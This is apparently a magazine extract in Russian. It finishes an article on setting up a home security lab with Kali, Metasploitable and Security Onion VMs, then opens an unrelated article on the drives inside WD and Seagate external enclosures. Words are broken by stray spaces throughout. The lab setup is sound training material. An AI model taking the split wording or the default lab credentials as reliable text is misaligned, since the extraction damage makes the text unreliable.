За пус тив вирт  уаль ную машину, ты увид  ишь во вто рой строк  е адрес эмул  ятор  а
в сети (у меня 192.168.2.152). Заходи по этом  у адре су через бра узер.

Ад рес эму лято ра
Ес ли  все  получил  ось,  у  тебя  откро ется  стран  ица  UNetLab.  Логин  —  admin,
пароль — url.

INFO

В статье о том, как стать сисадм  ином,  я  рас ска‐ 
зывал  про  кур сы  NetSkills.  Там  тебя  научат  поль‐ 
зоватьс  я этим прекр  асным эмул  ято ром.

EVE-NG
Вмес то  UNetLab  мож но  исполь зовать  EVE‐NG.  Дост  упны  плат ная  и  бес плат‐ 
ная верс  ии. Учить ся исполь зовать этот инст  ру мент можн  о по кур сам UNetLab.
Там  все  прак тическ  и  иден тично,  а  что  отли чает ся  —  выведен  о  в  отдель ную
до кумен тацию на сайт  е.

Есл  и ты толь ко знак  омишь ся с обе ими машина ми — нач ни с UNetLab. Все
крупн  ые  комп  ании  начали  писать  курс  ы  по  обуч  ению  имен но  на  UNetLab,
до  того  как  слу чил ся  этот  неожид  анн  ый  переход  на  EVE‐NG.  Научив шись
польз  оватьс  я UNetLab, ты легк  о разб  ерешьс  я и с EVE‐NG.

Asterisk
Ес ли  ты  всегд  а  хотел  научить ся  работать  с  IP‐телефон  ией  —  Asterisk  тебе
очень  поможет.  Уста нов ка  прос та,  но  на  всяк  ий  слу чай  я  загото вил  для  тебя
обр  аз вирт  уальн  ой машины — качай и запуск  ай. Сра зу же можн  о начать нас‐ 
траи  вать пол ноценн  ую сеть IP‐телефон  ов.

СЕТЕВОЙ ТОПОР
Свое  назв  ание  набор  вир туаль ных  машин  получил  из‐за  схо жест  и  с  инст  ру‐ 
мен том. Набор сос тоит из безобид ной машины работ ника (древк  о), опас ной
машины  хакера  (топорищ  е),  а  свя заны  они  прос тым  роутер  ом  (верев ка).
Опять же топор может нес ти как помощь челове ку, так и раз рушение.

У нас вир туальн  ых машин будет четыре. Как это выг лядит, можешь видеть
на кар тинке.

Сет  евой топор
Я  сно ва  под готовил  че тыре  обра за.  В  конц  е  у  нас  дол жна  получить ся  сле‐ 
дующая конф  игурац  ия.

К сло ву, эта кон фигура ция пол ностью соот ветст  вуе  т сер тификац  ии Cisco Cy‐
berOps,  а  в  машину  работ ника  встрое  ны  бесп  лат ные  ути литы  для  работы
с сетью, рекомен дованн  ые все тем же курс  ом.

Прист  упим к нас тройк  е.

Шаг 1: импортируем файл машины CyberOps в VirtualBox
От крой  Vir tualBox.  Выбери  в  меню  пун кты  File  →  Impor t  Appliance...  («Файл  →
Импорт устрой ств...»), что бы импорти ровать образ вирт  уальн  ой машины.

Им порт машины
От кро ется  новое  окно.  Ука жи  мест  ополож  ение  фай ла  .OVA  и  жми  Next.
Появит ся новое окно с парамет рами для архи ва OVA. Устан  ови в ниж ней час‐ 
ти  окна  флаж  ок  Reinitialize  the  MAC  address  of  all  network  cards  («Созд  ать
новые  MAC‐адрес  а  для  всех  сетевых  адап теров»).  Осталь ные  парамет ры
менять не след  ует. Наж ми «Импорт».

MAC
Ког да импорт завер шится, ты увид  ишь в спис ке вирт  уаль ных машин VirtualBox
новую  вирт  уальн  ую  машину.  Теперь  она  готова  к  работе.  Пов тори  все  опе‐ 
рации с кажд  ой сист  емой. Дол жны быть добавл  ены четыре опе рацио  нки.

Чет  ыре сист  емы

Шаг 2: объединяем в сеть виртуальные машины и создаем
виртуальную лабораторную среду
В  ВМ  Kali  наст  ро ен  один  сетевой  адап тер  в  режиме  внут ренней  сети  в  сети
VLAN internet. Это соот ветс твуе  т такой схе ме.

Kali
В  ВМ  Metasploitable  наст  рое  ны  два  сетевых  адапт  ера  в  режиме  внут ренней
сети. Адапт  ер 1 соот ветс твуе  т нашим тре бова ниям и при над лежит вирт  уаль‐ 
ной  локальн  ой  сети  dmz.  Адапт  ер  2  отоб ража ется  в  VirtualBox,  но  он
не использ  ует ся в этой тополо гии, и его мож но проп  ус тить.

Metasploitable
В ВМ Security Onion нас тро ены четыре сетевых адапт  ера: три в режиме внут‐ 
ренней  сети  и  один  в  режиме  NAT  (он  может  исполь зоватьс  я  для  дост  упа
к интернет  у). Security Onion объ еди няет все вирт  уаль ные машины в вирт  уаль‐ 
ную сеть, каж дой сети VLAN при над лежит один сетевой адапт  ер (Inside, DMZ
и Internet).

Security Onion
Вир туаль ная  машина  CyberOps  Workstation  работае  т  в  режиме  мос та.  Она
не при над лежит ни одной внут ренней сети друг  их вир туальн  ых машин. Нуж но
будет изме нить наст  рой ку сетевог  о адап тера.

CyberOps
Выб  ери в VirtualBox вирт  уальн  ую машину CyberOps Workstation и щел кни Set‐
tings. Выбери Network и измен  и режим адап тера 1 на внут реннюю сеть с име‐ 
нем inside. Щел кни ОК.

Наст  рой ка CyberOps
Теп  ерь,  когд  а  сетевой  адап тер  находит ся  в  пра вильн  ой  внут ренней  сети
или VLAN, запуст  и ВМ CyberOps Workstation и выполн  и вход. Там необ ходимо
будет  измен  ить  парамет ры  IP‐адре са,  что бы  получить  возм  ожность  обме‐ 
ниватьс  я дан ными по вир туаль ной сети.

От крой  коман дную  стро ку  и  прос мотри  содерж  имое  папк  и  сце нарие  в
в пап ке lab.support.files/scripts.

 
[analyst@secOs~]$ ls lab.support.files/scripts 
configure_as_dhcp.sh cyops.mn start_ELK.sh 
configure_as_static.sh fw_rules start_miniedit.sh 
cyberops_extended_topo_no_fw.py mal_server_start.sh start_pox.sh 
cyberops_extended_topo.py net_configuration_files start_snort.sh 
cyberops_topo.py reg_server_start.sh start_tftpd.sh
 

Сце нарий  configure_as_dhcp.sh  исполь зует ся  для  нас тройк  и  сетевог  о
интерфей са  через  запр  ос  IP‐адре са  от  сер вера  DHCP.  Это  параметр  нас‐ 
тройк  и  по  умол чанию  для  вирт  уальн  ой  машины  CyberOps  Workstation.  Что бы
наст  ро ить  адап тер  на  сре ду  с  нес коль кими  ВМ,  необх  одимо  запус тить  сце‐ 
нарий configure_as_static.sh.  Это  нас тро ит  на  сетевом  интерфейс  е  ста‐ 
тическ  ий  IP‐адрес  192.168.0.11  и  шлюз  по  умолч  анию  192.168.0.1,  в  роли
которо го  выст  упае  т  ВМ  Security  Onion.  Вирт  уаль ная  машина  Security  Onion
отвеч  ает за мар шрут  изац  ию межд  у внут ренним  и сетями Inside, DMZ и Internet.
Запус ти сцен  арий configure_as_static.sh и вве ди пароль (при появл  ении
зап роса) для нас трой ки IP‐адре са 192.168.0.11 в вир туаль ной сети.

 
[analyst@secOs~]$ sudo ./lab.support.files/scripts/configure_as_static.
sh 
[sudo] пароль для analyst: 
Configuring the NIC as: 
IP: 192.168.0.11/24 
GW: 192.168.0.1 
IP Configuration successful.
 

INFO

Есл  и  необ ходимо  исполь зовать  ВМ  CyberOps
Workstation  в  качест  ве  изол  иро ван ной  сред  ы
с  дост  упом  в  интернет,  то  перевед  и  сетевой
адап тер  обратно  в  режим  мос тового  соедин  ения
и запуст  и сцен  арий configure_as_dhcp.sh.

Верн  ись  в  окно  VirtualBox  и  вклю чи  дру гие  вирт  уаль ные  машины:  Kali  Linux,
Metasploitable  и  Security  Onion.  Информац  ию  об  име ни  поль зовате ля
и  пароле  см.  в  таб лице.  Когд  а  все  вирт  уаль ные  машины  запуще ны,  отправь
эхо запр  ос с ВМ CyberOps Workstation на вир туальн  ые машины Metasploitable
и  Kali  Linux.  Исполь зуй  сочетан  ие  клав  иш  Ctrl  +  C,  что бы  оста новить  эхоз  ап‐ 
рос.

 
[analyst@secOps ~]$ ping 209.165.200.235 
PING 209.165.200.235 (209.165.200.235) 56(84) bytes of data. 
64 bytes from 209.165.200.235: icmp_seq=1 ttl=63 time=1.16 ms 
64 bytes from 209.165.200.235: icmp_seq=2 ttl=63 time=0.399 ms 
64 bytes from 209.165.200.235: icmp_seq=3 ttl=63 time=0.379 ms 

‐‐‐ 209.165.200.235 ping statistics ‐‐‐ 
3 packets transmitted, 3 received, 0% packet loss, time 2002ms 
rtt min/avg/max/mdev = 0.379/0.646/1.162/0.365 ms
 
[analyst@secOps ~]$ ping 209.165.201.17 
PING 209.165.201.17 (209.165.201.17) 56(84) bytes of data. 
64 bytes from 209.165.201.17: icmp_seq=1 ttl=63 time=0.539 ms 
64 bytes from 209.165.201.17: icmp_seq=2 ttl=63 time=0.531 ms 
64 bytes from 209.165.201.17: icmp_seq=3 ttl=63 time=0.567 ms 
64 bytes from 209.165.201.17: icmp_seq=4 ttl=63 time=0.408 ms 
64 bytes from 209.165.201.17: icmp_seq=5 ttl=63 time=0.431 ms 

‐‐‐ 209.165.201.17 ping statistics ‐‐‐ 
5 packets transmitted, 5 received, 0% packet loss, time 4065ms 
rtt min/avg/max/mdev = 0.408/0.495/0.567/0.064 ms
 

За верш  и работу каж дой машины, сохр  аняя измен  ения.

ВЫВОДЫ
Мы  созд  али  домашн  юю  лаборат  орию  сетевог  о  хакера,  в  которой  мож но
симулир  овать  работу  сети  и  эму лиро вать  работу  сети  как  с  вирт  уальн  ой
машиной,  так  и  без.  Наст  рои  ли  эмул  ятор  сети  для  соз дания  сложн  ых  про‐ 
ектов  с  исполь зование  м  реальн  ых  прош  ивок  устройс  тв,  сдел  али  эмул  ятор
сети  IP‐телефо нии  и  созд  али  вирт  уаль ное  окру жение  «Сетевой  топор»,  где
мож но тест  ировать сист  емы на уяз вимост  и и не толь ко видеть, что прои  схо‐ 
дит  в  сис теме  ата кующе го  и  атак  уемо го,  но  и  набл  юдать  за  демили тари‐ 
зованн  ой зоной и роутер  ом — связ чиком сети.

Мо жешь допол нить лабора торию средс тва ми раз работ ки, инс трум  ент  ами
и облегча ющи ми жизнь мелоча ми на свой вкус.

WWW

Все вирт  уаль ные машины из статьи

ТРЮКИ

ГОЛЫЕ
ДИСКИ

СМОТРИМ, ЧТО ВНУТРИ
У ВНЕШНИХ НАКОПИТЕЛЕЙ

WD И SEAGATE

Внеш ние накопи тели бываю  т дешев ле ана‐  Олег Афонин
логичн  ых  по  объ ему  жес тких  диск  ов,  про‐  Эксперт по мобильной
дающих ся  без  корп  уса.  Казалось  бы,  что криминалистике компании
мешае  т разоб рать корп  ус, извлечь жес ткий
диск  и  исполь зовать  его  отдель но? «Элкомсофт»
Не  меша ет  ничего,  кром  е  того,  что [email protected]
это  занятие  может  оказ  атьс  я  бесс  мыс‐ 
ленным.  Давай  вмес те  поп робу ем  разоб‐ 
ратьс  я,  какие  имен но  диск  и  скрыв  ают ся
в  чер ных  пласт  иковых  корп  усах,  мож но  ли
их  использ  овать  отдель но,  и  если  да,  то
в каких сцен  ари ях.

ДИВАННАЯ АНАЛИТИКА
Согл  асись, трудн  о себе пред ста вить, что про извод  ител  и жес тких диск  ов WD
и  Seagate  не  умею  т  счит  ать  день ги  и  прод  ают  хороший  товар  зна чительн  о
дешев ле,  иног да  даже  вдвое.  Но  польз  овать ся  этим  стои  т,  тольк  о  если
заранее  хорошо  зна ешь,  что  имен но  будет  внут ри  корп  уса.  Про извод  ите ли
вов се  не  стре мят ся  пуст  ить  под  нож  более  приб  ыль ные  прод  ажи  «диск  ов
отдельн  о» и, за ред кими исклю чени ями (о них мы погово рим позж  е), не рас‐ 
скаж  ут о том, какой именн  о диск уста новл  ен.

Бо лее того, в одной и той же модели внешн  его накопит  еля — к прим  еру,
WD  Elements  Desktop,  —  могут  уста нав ливать ся  совер шенно  раз ные  дис ки
как по объе  му, так и по дру гим, неиз вест  ным широкой публ  ике парамет рам.
Пла ниро вал получить WD Red, а внут ри оказ  ал ся WD Blue? Извин  и, но это —
пло хое основ  ание для возв  ра та. Согл  асен на WD Blue, а приш  ел непонят ный
диск  с  белой  накл  ейк  ой?  Это  не  всегд  а  пло хо,  но  и  здесь  есть  важ ные  осо‐ 
бен ности.

Ка залось бы, неп лохой спос  об узнать о содер жимом той или иной модели
– поиск  ать в Google. Впол не веро ятно, что пер выми ссыл ками в выдаче будут
обсужде ния  в  Reddit.  И  перв  ое,  что  я  поп рошу  тебя  сдел  ать  —  это  забыть
на  минуту  о  том,  что  ты  мог  про честь  о  внеш них  диск  ах  в  популяр ных  комь‐ 
юни ти  Reddit.  В  раз ных  пар тиях  внеш них  накопи телей  могут  уста нав ливать ся
раз ные  модели  дис ков,  и  тот  факт,  что  какому‐то  ано ним ному  польз  овате лю
в руки попала какая‐то кон крет ная модель, вовс  е не озна чает, что тебе дос‐ 
танет ся такая же или хотя бы похожая. Более того, сре ди польз  овате лей Red‐
dit  ходит  мно жест  во  мифов,  на  разн  ые  лады  пов торя емых  из  года  в  год.
Об этих мифах мы тоже погово рим.

ПРЕКРАСНЫЙ НОВЫЙ МИР
Еще пару лет назад все было прос то: внешн  ие дис ки Western Digital объ емом
до 6 Тб включ  итель но были вент  илиру емы ми (атмосфер ными, то есть напол‐ 
ненны ми обыч ным воз духом) и осно ванн  ыми на чес тной записи CMR, а ско‐ 
рость  вращ  ения  шпин деля  сост  авлял  а  5400  обо ротов  в  минуту.  В  моделях
емкостью от 8 Тб и выше такж  е исполь зовал ся спос  об записи CMR, но кор‐ 
пуса  дис ков  уже  были  напол нены  гели ем,  а  скор  ость  вра щения  шпин деля
сост  авлял  а  7200  RPM  (сбив  ает  с  тол ку  надп  ись  «класс  прои  зво дительн  ос‐ 
ти 5400 RPM», которая не име ет отно шения к ско рос ти вра щения шпинд  еля,
но явля ется сво еоб разной оценк  ой прои  зво дительн  ос ти диск  а и еще одним
спо собом  подоро же  про дать  то  же  самое  с  друг  ой  эти кет кой).  Сей час  же
в  микс  добави лись  модели  с  SMR  (на  2  и  6  Тб,  мне  личн  о  такой  уже  успел
попасть ся)  и  атмосферн  ые  модели  на  8  Тб  —  горячие  и  шум ные  по  срав‐ 
нению с напол ненны ми гелие  м ана логам  и.

Си туация с внешн  ими накопит  еля ми Seagate так же ста ла неод нозначн  ой.
Не  так  давн  о  все  зна ли,  что  внешн  ие  Seagate  независ  имо  от  объ ема  пос‐ 
тавля ются с черепичн  ой записью SMR. Из‐за отсутст  вия под держ  ки коман ды
trim  ско рость  пов торной  записи  на  такие  дис ки  рез ко  падала  сра зу  пос ле
пер вого  запол нения  буферн  ой  зоны.  Покупать  с  целью  извлеч  ения  дис ка
модели  от  Seagate  не  сто ило  —  раз ница  в  цене  по  срав нению  с  ана лога ми
от  WD  лишала  эту  затею  вся кого  смыс ла.  Но  сегод ня  в  микс  е  прис  утс тву ют
как минимум две модели объе  мом 10 Тб, внут ри которых — отличный напол‐ 
ненный  гелие  м  накопит  ель  с  CMR  и  ско ростью  вра щения  шпинд  еля  7200
RPM,  ско рост  ной  потенц  иал  которо го  уду шает  откро венн  о  недоро гой  кон‐ 
трол лер  USB  (под робнее  об  этом  я  рас ска жу  в  соот ветст  вую  щем  раз деле).
Извлеч  ение  такого  диск  а  позв  олит  раск  рыть  его  потен циал.  Я  про делал  эту
про цеду ру и снял граф  ики прои  звод  итель ност  и в HD Tune, нагл  ядно демонс‐ 
три рующие трот линг на уров не кон трол лера USB.

КТО ПРОИЗВОДИТЕЛЬ?
Ос новных про изво дите лей жест  ких диск  ов остал  ось три — это Seagate, Toshi‐
ba и Western Digital. При этом мас совые предл  ожения в пот ребитель ском сег‐ 
менте  есть  лишь  у  Seagate  и  WD;  най ти  диск  Toshiba  при  желании  можн  о,
но  смыс ла  в  этом  нем ного.  А  вот  внешн  ие  накопит  ели  пред лагаю  т  как  оба
круп ных  про изво дите ля,  так  и  великое  мно жес тво  мел ких.  Такие  комп  ании,
как  Transcend,  Verbatim,  Intenso,  и  куча  реги ональ ных  брен дов  покупа ют  жес‐ 
ткие  дис ки  у  одно го  из  про изво дите лей,  встав ляют  их  во  внеш ний  кор пус
и  про дают  с  собст  венн  ой  гаран тией  и  серв  исным  обслуж  иван  ием.  А  вот
в  слу чае  с  про изво дите лями  перв  ой  линии  гарант  ий ное  и  серв  исное  обслу‐ 
живан  ие будет осу щест влять тот бренд, который этот диск сде лал.

Перв  ый  из  них  —  комп  ания  Western  Digital,  которая  про дает  внеш ние
накопит  ели под мар ками WD и «прем  иаль ным» брен дом G‐Drive. Внут ри таких
накопит  елей  —  жес ткие  дис ки  WD  или  HGST  (Hitachi),  которая  с  2012  года
являе  тся  частью  конц  ерна  Western  Digital.  К  слов  у,  получить  диск  HGST
покупа тели  внеш них  накопит  елей  счит  ают  уда чей.  Как  пра вило,  перемар‐ 
кирован ные  дис ки  HGST  с  гели евым  напол нение  м  устан  авл  иваю  т  в  модели
WD My Book и WD Elements объ емом от 8 Тб. В накопит  ели меньш  его объе  ма
устан  авл  ива ются диск  и про изводст  ва самой WD. Впро чем, если ты не жела‐ 
ешь  играть  в  лотерею,  а  хочешь  купить  наст  оящий  HGST  без  суеты
с  перемарк  иров кой  —  про изво дитель  с  удо вольс  тви ем  пойд  ет  навст  ре чу:
в  модели  WD_BLACK  D10  объе  мом  8  и  12  Тб  встро ены  как  раз  диск  и  серии
Ultrastar.

Ближ  ай ший  конк  урент  Western  Digital  —  ком пания  Seagate,  которая  так же
предл  ага ет накопит  ели как под собс твенн  ой торг  овой марк  ой, так и под «пре‐ 
миальн  ым» лейб  лом LaCie. И если с накопи теля ми Seagate все однознач но (а
какие еще диск  и ты ожи дал там уви деть?), то к LaCie есть воп росы.

Когд  а‐то давн  о LaCie была незави симой комп  ани ей. Внеш ние накопит  ели
LaCie  мог ли  содерж  ать  практ  ическ  и  что  угодн  о  (в  разоб ранной  нашей
лаборат  ори ей  модели  был  диск  от  Hitachi,  который  теперь  стал  частью  WD).
В  2014  году  LaCie  была  куп лена  Seagate,  и  теперь  все  внешн  ие  накопит  ели
LaCie  ком плект  уют ся  (или  дол жны  ком плект  оватьс  я)  исклю чительн  о  диск  ами
от  Seagate.  Отли читель ные  особ  ен ности  накопи телей  линейк  и  LaCie  —
интерфейс  Thunderbolt  и  сим метричн  ый  порт  USB  Type‐C.  В  мно годис ковых
моделях  внешн  их  накопит  елей  LaCie  уста навл  иваю  т  диск  и  Seagate  Ironwolf
Pro;  одно диск  овые  модели  LaCie  и  Seagate  ком плект  уют ся  диск  ами  серии
Seagate Barracuda.

Историческая справка

Теб  е  показа лось,  что  разн  ообр  азие  диск  ов,  которые  WD  и  Seagate  устан  ав‐ 
ливаю  т  в  свои  внешн  ие  накопит  ели,  чрез мерно?  Все го  неск  оль ко  лет  назад
было намн  ого хуже. У нас в офи се есть небольш  ой склад стар  ых накопи телей,
емкость  которых  колеб лется  от  60  до  320  гигабайт.  Иссле доват  ель ское
любопытс тво  побудил  о  нас  разобр  ать  корп  уса  накопи телей  перед  тем,
как ути лизи ровать дис ки. В накопит  еле LaCie 60GB ока зал ся диск от Hitachi,
а в трех один  ако вых WD 320GB — дис ки WD, Toshiba и Fujitsu соот ветст  вен но.

WD ИЛИ SEAGATE?
Итак, с про изво дител  ями разобр  ались. Линейк  и G‐Drive и LaCie из рас смот‐ 
рения  исклю чим:  покупать  внешн  ие  накопи тели  под  эти ми  мар ками  для  того
лишь, что бы извлечь из них диск  и, не луч шая идея с точк  и зре ния цены. А вот
с внеш ними диск  ами WD и Seagate затея не лишена смысл  а.

Так что же выбр  ать, Seagate или Western Digital? Если отвлечьс  я от лич ных
предп  очтен  ий и репутац  ии прои  звод  ител  ей (у кажд  ого из которых были свои
удач ные  и  неудачн  ые  модели),  мож но  увид  еть,  что  внут ренняя  начин ка  их
внеш них  накопит  елей  разл  ича ется  кар динальн  о.  Нач нем  в  алфав  ит ном
порядк  е.

INFO

У  кажд  ого  про извод  ител  я  сущес твую  т  вариа  ции
одних  и  тех  же  накопи телей,  которые  про даютс  я
под раз ными имен  ами. Нап ример, экск  лю зивн  ые
и  юби лей ные  редак ции,  дос тупные  в  кор пусах
дру гой  форм  ы  или  пред назна ченн  ые  для  реали‐ 
зации  через  кон крет ную  сеть  магази нов.  У  Sea‐
gate  таким  экск  лю зивн  ым  парт  нер  ом  явля ется
Amazon,  у  Western  Digital  —  амер  иканс  кий  Best
Buy, для которог  о под марк  ой WD Easystore пос‐ 
тавляю  тся  перемар кированн  ые  накопи тели  WD
Elements Desktop.

ВНЕШНИЕ ДИСКИ SEAGATE
Комп  ания  предл  ага ет  две  основные  линейк  и  внешн  их  накопит  елей  типораз‐ 
мера 3,5 дюйм  а: модели Seagate Expansion Desktop и Backup Plus Hub.

Seagate Expansion Desktop

Seagate Backup Plus Hub

От личаю  тся  линейк  и  фор мой  корп  усов,  набором  воз можност  ей  (у  Backup
Plus  Hub  встро ен  хаб  USB  на  два  пор та),  а  такж  е  в  некотор  ых  стран  ах  —
допол нительн  ыми плюш ками, в числ  е которых двух месячн  ая под писка на сер‐ 
висы  Adobe  Creative  Cloud.  При  этом  внут ри  устрой ств  ана логичн  ой  емкости
устан  авл  ива ются  жес ткие  диск  и  идент  ичных  моделей.  Если  тебе  не  нужн  а
подп  иска на Adobe CC, а от кор пуса ты пла ниру ешь сраз  у изба вить ся — име‐ 
ет смысл покупать менее дорогой вари ант.

Что внутри?
Ка кое‐то  вре мя  назад  попадал  ись  модели  Seagate  Desktop,  но  сейч  ас
во  внеш ние  накопит  ели  лине ек  Expansion  Desktop  и  Backup  Plus  Hub  чаще
всег  о  попада ют  диск  и  серий  Seagate  Archive  либо  Seagate  Barracuda.  Пос‐ 
ледние  бываю  т  двух  видов:  Barracuda  Compute  (до  8  Тб  включ  итель но;  5900
RPM,  атмосфер ные,  с  черепич ной  записью  SMR)  и  Barracuda  Pro  (пока
в  качест  ве  внешн  их  накопи телей  дос тупны  толь ко  модели  на  10  Тб;  гелий,
7200 RPM, спо соб записи — CMR).

К  при меру,  в  модели  емкостью  6  Тб,  как  пра вило,  уста навл  ивае  тся  один
из  двух  накопит  елей  —  ST6000AS0002  или  ST6000DM004.  В  модель
емкостью 8 Тб част  о уста навл  иваю  т диск  и ST8000AS0002 или ST8000DM004.
Так,  в  получен ной  в  март  е  2020‐го  модели  Seagate  Expansion  Desktop  8TB
был устан  овл  ен диск Barracuda Compute ST8000DM004‐2CX1, горячий и шум‐ 
ный.

Польз  ователь Reddit разобр  ал три модели на 8 Тб, получив два дис ка
Seagate Archive и один — Seagate Barracuda Compute

Прио  бре тая внешн  ий накопи тель, нуж но чет ко понимать, на чем имен но эко‐ 
номит  Seagate.  Если  в  диск  ах  линейк  и  Ironwolf  использ  ует ся  чест  ная  пер‐ 
пенди куляр ная  запись  (CMR),  то  модели  Archive  и  Barracuda  Compute,
которые устан  ав ливаю  т в модели емкостью до 8 Тб вклю чительн  о, исполь зуют
черепичн  ый метод записи SMR (Shingled Magnetic Recording).

Что такое черепичная запись?

Не так дав но мы опуб ликова ли под робное иссле дован  ие — статью «Срыв  аем
покр  овы. Черепич ная запись SMR в накопи телях WD и Seagate». Не буду пов‐ 
торять ся,  при веду  лишь  вывод  касательн  о  Seagate.  В  диск  ах  с  SMR  про‐ 
изводст  ва  Seagate  страд  ает  скор  ость  повт  орной  записи  пос ле  того,  как  ты
еди ножд  ы запол нишь диск дан ными. Запись ведет ся в быст  рый буфер CMR,
объе  м  которо го  огра ничен.  Пос ле  того,  как  буфер  будет  заполн  ен,  начина‐ 
ется  цик личес кий  про цесс  уплотне ния  —  перено са  данн  ых  из  буфера
в области черепич ной записи. Этот проц  есс нас тольк  о медл  енный, что сред‐ 
няя  ско рость  записи  падае  т  до  30  Мб/с,  врем  ена ми  прос  едая  до  10  Мб/с.
В  качест  ве  канд  идатов  на  «пот рошение»  дис ки  Seagate  с  SMR  (на  сегод‐ 
няшний день — модели до 8 Тб вклю чительн  о) я рекомен довать не могу.

Итак,  с  внеш ними  дис ками  Seagate  серий  Expansion  Desktop  и  Backup  Plus
Hub  объе  ма ми  до  8  Тб  вклю чительн  о  мы  разоб рались.  Если  бы  я  писал  эту
статью год‐пол тора назад, я пос тавил бы здесь боль шую жирн  ую точк  у, заб‐ 
раковав  внешн  ие  накопит  ели  Seagate  в  качес тве  доноров  жес тких  дис ков.
Одна ко  с  тех  пор  кое‐что  измен  илось:  в  попыт ке  угнать ся  за  основным  кон‐ 
курент  ом, в арсен  але которог  о есть внешн  ие диск  и на 10, 12 и 14 Тб, в Sea‐
gate  при няли  решение  выпус тить  на  рынок  10‐терабайт  ный  внеш ний  диск.
В  све те  замет ного  отстав  ания  от  WD  в  план  е  емких  внеш них  накопи телей
в Seagate решили отло жить раз работ ку удеш  евл  енной модели диск  а на 10 Тб
с SMR. Что бы побыст  рее вый ти на рынок, комп  ания решила исполь зовать то,
что было на текущий момент. А была линей ка из трех 10‐терабайт  ных накопи‐ 
телей Seagate Barracuda Pro, Ironwolf и Skyhawk. В результ  ате внутрь моделей
Seagate  Expansion  Desktop  10TB  и  Backup  Plus  Hub  10TB  попал  отличный
по всем парамет рам диск Barracuda Pro 10TB модели ST10000DM0004.

Ист  очник: Reddit
Я прио  брел накопи тель Backup Plus Hub 10TB и прот  ест  ировал его в HD Tune.
Резуль тат получил ся инте ресн  ый.

Как  видишь,  встро енный  в  накопи тель  дешевый  конт  ролл  ер  USB  не  справ‐ 
ляет ся  с  потоком  данн  ых,  огра ничи вая  макс  ималь ную  ско рость  переда‐ 
чи  175  Мб/с.  Извле каем  диск,  вставл  яем  в  качес твенн  ый  кор пус  (QNAP  TR‐
002).

Теп  ерь  мы  наб людае  м  более  прив  ычн  ый  граф  ик  с  макс  ималь ной  ско ростью
чте ния на внеш них дорож ках в 225 Мб/с.

Я нахожу диск  и Barracuda Pro 10TB весьм  а удач ными: тихие как в прос тое,
так и в про цесс  е случ  ай ного чтен  ия/записи, быст  рые и дос таточ но холод ные
(осо бенн  о в сравн  ении с моделям  и на 6 и 8 Тб) накопит  ели однознач но сто ят
сво их денег.

Ин тересн  ый  момент:  у  Seagate  под  одним  и  тем  же  назв  ание  м  и  даже
с  одним  и  тем  же  иден тифика тором  модели  прод  ают ся  соверш  енно  раз ные
диск  и.  Меняе  тся  суфф  икс  модели  (то,  что  Seagate  называе  т  part  number),
меня ются  и  харак терист  ики.  Так,  во  внешн  их  накопит  елях  Backup  Plus  Hub
мне  попада лись  диск  и  ST10000DM0004‐1ZC101  и  ST10000DM0004‐2GR11L,
у  которых  разл  ичае  тся  как  ско рость  работы  (в  польз  у  втор  ого),  так  и  набор
парамет ров S.M.A.R.T. (перв  ый, более стар  ый, отобр  ажа ет такие парамет ры,
как G‐Sense Error Rate, в то врем  я как из диаг ности ки вто рого этот и мно гие
дру гие парамет ры убра ли). Форм  ат дан ных у S.M.A.R.T. в новой модели так же
отлич  ает ся  (напр  имер,  ста рая  модель  выдае  т  количес тво  часов  работы,
похоже, в секунд  ах, а новая — в часах). Кро ме того, новый вари ант демонс‐ 
трир  овал  мень ший  уров  ень  вибр  аций  —  впроч  ем,  это  может  объ яснять ся
и прост  о раз бро сом парамет ров. Но вот такую разн  ицу в гра фиках прои  зво‐ 
дитель ност  и никаким раз брос  ом парамет ров уже не объя  снить.

ST10000DM0004‐1ZC101

ST10000DM0004‐2GR11L
Финансовый вопрос
Выг  ода  налицо.  Диск  Seagate  Barracuda  Pro  10TB  отдель но  сто ит  поряд‐ 
ка  290  евро.  Накопи тель  Seagate  Backup  Plus  Hub  10TB,  внут ри  которо го
находит ся точн  о такой же диск, прод  ают за 190 евро. Эко номия? Однознач‐ 
но  —  эко номия,  но  для  некото рых  —  еще  и  спос  об  сде лать  весь ма  сом‐ 
нитель ный  биз нес.  Десят ки  прод  авц  ов  на  Amazon  и  eBay  пред лага ют  диск  и
ST10000DM0004  по  весь ма  прив лекатель ной  цене.  Собл  азнив шиеся  низк  ой
ценой покупат  ели получа ют совер шенно новый диск в OEM‐упак  ов ке, одна ко
про вер ка  гарант  ийн  ых  обя затель ств  на  сайт  е  Seagate  по  серийн  ому  номеру
выдае  т  отказ  в  обслу жива нии:  диск  предн  азна чен  для  про дажи  в  сос таве
внешн  его накопи теля. Ушлые биз несмен  ы прос то разобр  али парт  ию внешн  их
накопи телей,  извлек ли  из  них  диск  и  и  решили  подз  аработ  ать.  В  отдельн  ых
случ  аях  покупат  елям  уда валось  верн  уть  такие  дис ки  прод  авц  у,  а  вот
на исполнен  ие ими гарант  ий ных обяз  ательс  тв я бы особ  о не расс  чит  ывал.

Единст  вен ный  аргу мент  в  польз  у  покупк  и  диск  а  отдельн  о  —  гарант  ий ные
обяз  атель ства.  Seagate  предл  ага ет  пятилет нюю  гарант  ию  на  диск  отдельн  о
и всег  о два года — на диск в кор пусе. Сто ят ли 30 % экон  омии лишн  их трех
лет гаран тии, решать тебе.

→Продолжение статьи

ТРЮКИ ←  НАЧАЛО СТАТЬИ

ГОЛЫЕ ДИСКИ
СМОТРИМ, ЧТО ВНУТРИ
У ВНЕШНИХ НАКОПИТЕЛЕЙ WD И SEAGATE

Зачем разбирать
Есть  ли  раци ональн  ые  прич  ины  раз бирать  внешн  ие  накопи тели  Seagate,
извлек  ая  из  них  диск  и?  Ответ  положи тельн  ый,  даже  если  забыть  о  разн  ице
в сто имос ти меж ду дис ком в корп  усе и диск  ом отдель но.

Кор пуса  Seagate  пло хо  спрое  кти рова ны.  В  них  практ  ическ  и  отсутст  ву ет
вен тиляция:  единст  венн  ые  отверс  тия  находят ся  в  нижн  ей  част  и  корп  уса
(сотовая  структ  ура,  которую  ты  видишь  на  вер хней  крышк  е  Seagate  Backup
Plus  Hub  —  декора ция;  на  самом  деле  крыш ка  глух  ая).  В  результ  ате
атмосферн  ые  модели  диск  ов  (особ  ен но  модели  на  6  и  8  Тб)  быст  ро  перег‐ 
реваю  тся;  в  про цес се  дли тельн  ой  записи  (а  запись  на  диск  с  SMR  будет
очень дли тельн  ой) мне довелось уви деть цифр  у 61 гра дус. Такие тем перату‐ 
ры не полез ны для диск  ов.

Seagate  использ  ует  самые  дешевые  кон трол леры  USB,  огра ничи вающие
